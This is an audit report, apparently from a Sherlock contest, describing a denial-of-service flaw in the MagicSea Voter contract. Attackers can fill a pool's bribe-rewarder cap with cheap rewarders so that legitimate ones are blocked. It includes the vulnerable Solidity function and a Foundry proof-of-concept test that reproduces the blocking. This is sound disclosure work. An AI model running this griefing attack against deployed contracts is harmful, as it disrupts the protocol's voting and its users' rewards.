jennifer37 - normal bribe rewarders may be blocked by malicious bribe rewarders

[sherlock-admin4]

jennifer37

High

normal bribe rewarders may be blocked by malicious bribe rewarders

Summary

There is one max_bribes_per_pool limitation. Malicious users can create some bribe rewarders to register with voter. This will block normal bribe rewarders to register.

Vulnerability Detail

In Voter contract, voter allows bribe rewarder to register with one pool. This will encourage users to vote for this pool. The vulnerability is that there is one limitation bribe rewarders' count for each pool. Malicious users can create some bribe rewarders and register with voter. This will block some normal bribe rewarders to register with the pool.
What's more, when the malicious user register bribe rewarders with the pool, they can choose one quite small amount for reward , even malicious users can create one bribe rewarder with one zero-value token. So malicious users need spend almost nothing to block normal bribe rewarders. This will lead to the voters not vote for this pool.

    function onRegister() external override {
        IBribeRewarder rewarder = IBribeRewarder(msg.sender);
        // Must be one bribe rewarder
        _checkRegisterCaller(rewarder);

        uint256 currentPeriodId = _currentVotingPeriodId;
        (address pool, uint256[] memory periods) = rewarder.getBribePeriods();
        for (uint256 i = 0; i < periods.length; ++i) {
            // TODO check if rewarder token + pool  is already registered
            require(periods[i] >= currentPeriodId, "wrong period");
            // @audit possible block actual bribe rewarder.
            require(_bribesPerPriod[periods[i]][pool].length + 1 <= Constants.MAX_BRIBES_PER_POOL, "too much bribes");
            _bribesPerPriod[periods[i]][pool].push(rewarder);
        }
    }

Poc

In this test, alice creates 5 bribe rewarders and register with voter contract. When bob wants to create 1 bribe rewarder and wants to register with voter contract, this will be reverted.

    function testBribeAndRegister() public {
        ERC20Mock(address(rewardToken)).mint(address(alice), 100e18);
        ERC20Mock(address(rewardToken)).mint(address(bob), 100e18);

        vm.startPrank(alice);
        rewarder1 = BribeRewarder(payable(address(factory.createBribeRewarder(rewardToken, pool))));
        rewarder2 = BribeRewarder(payable(address(factory.createBribeRewarder(rewardToken, pool))));
        rewarder3 = BribeRewarder(payable(address(factory.createBribeRewarder(rewardToken, pool))));
        rewarder4 = BribeRewarder(payable(address(factory.createBribeRewarder(rewardToken, pool))));
        rewarder5 = BribeRewarder(payable(address(factory.createBribeRewarder(rewardToken, pool))));
        ERC20Mock(address(rewardToken)).approve(address(rewarder1), 20e18);
        ERC20Mock(address(rewardToken)).approve(address(rewarder2), 20e18);
        ERC20Mock(address(rewardToken)).approve(address(rewarder3), 20e18);
        ERC20Mock(address(rewardToken)).approve(address(rewarder4), 20e18);
        ERC20Mock(address(rewardToken)).approve(address(rewarder5), 20e18);
        // Register
        rewarder1.fundAndBribe(1, 2, 10e18);
        rewarder2.fundAndBribe(1, 2, 10e18);
        rewarder3.fundAndBribe(1, 2, 10e18);
        rewarder4.fundAndBribe(1, 2, 10e18);
        rewarder5.fundAndBribe(1, 2, 10e18);
        vm.stopPrank();

        vm.startPrank(bob);
        rewarder6 = BribeRewarder(payable(address(factory.createBribeRewarder(rewardToken, pool))));
        ERC20Mock(address(rewardToken)).approve(address(rewarder6), 20e18);
        rewarder6.fundAndBribe(1, 2, 10e18);
        vm.stopPrank();
    }

Impact

Normal users may not create one bribe rewarders and register with voter contract. This will impact the voters' voting result. Because this pool will have less or no extra rewards for the voters.

Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/Voter.sol#L130-L144

Tool used

Manual Review

Recommendation

Add one whiltelist for createBribeRewarder(). Only trusted operators can create one rewarder.

Duplicate of #190